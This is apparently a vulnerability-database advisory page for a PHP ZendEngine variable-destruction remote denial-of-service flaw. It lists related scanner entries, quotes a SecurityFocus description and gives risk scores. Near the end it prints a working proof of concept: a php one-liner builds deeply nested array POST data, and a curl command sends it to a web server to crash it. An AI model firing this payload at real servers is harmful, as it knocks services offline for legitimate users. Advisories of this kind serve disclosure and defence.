PHP 3/4/5 - ZendEngine Variable Destruction Remote Denial of Service
| Reporter | Title | Published | Views | Family All 78 |
|---|---|---|---|---|
 | PHP 4.x < 4.4.7 / 5.x < 5.2.2 Multiple Vulnerabilities | 4 May 200700:00 | – | nessus |
| CentOS 3 / 4 : php (CESA-2007:0155) | 19 Apr 200700:00 | – | nessus |
| F5 Networks BIG-IP : Multiple PHP vulnerabilities (SOL7859) | 10 Oct 201400:00 | – | nessus |
| Fedora Core 6 : php-5.1.6-3.5.fc6 (2007-415) | 19 Apr 200700:00 | – | nessus |
| Fedora Core 5 : php-5.1.6-1.5 (2007-455) | 30 Apr 200700:00 | – | nessus |
| GLSA-200705-19 : PHP: Multiple vulnerabilities | 29 May 200700:00 | – | nessus |
| Mandrake Linux Security Advisory : php (MDKSA-2007:089) | 30 Apr 200700:00 | – | nessus |
| Mandrake Linux Security Advisory : php (MDKSA-2007:090) | 23 Apr 200900:00 | – | nessus |
| Oracle Linux 3 / 4 : php (ELSA-2007-0155) | 12 Jul 201300:00 | – | nessus |
| Oracle Linux 5 : Important: / php (ELSA-2007-0348) | 12 Jul 201300:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/22764/info
PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.
An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.
This issue affects all versions of PHP.
$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata
$ curl http://www.example.com/ -d @postdataData
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02 Dec 2016 00:00Current
7High risk
Vulners AI Score7
CVSS 25
CVSS 3.17.5
EPSS0.18162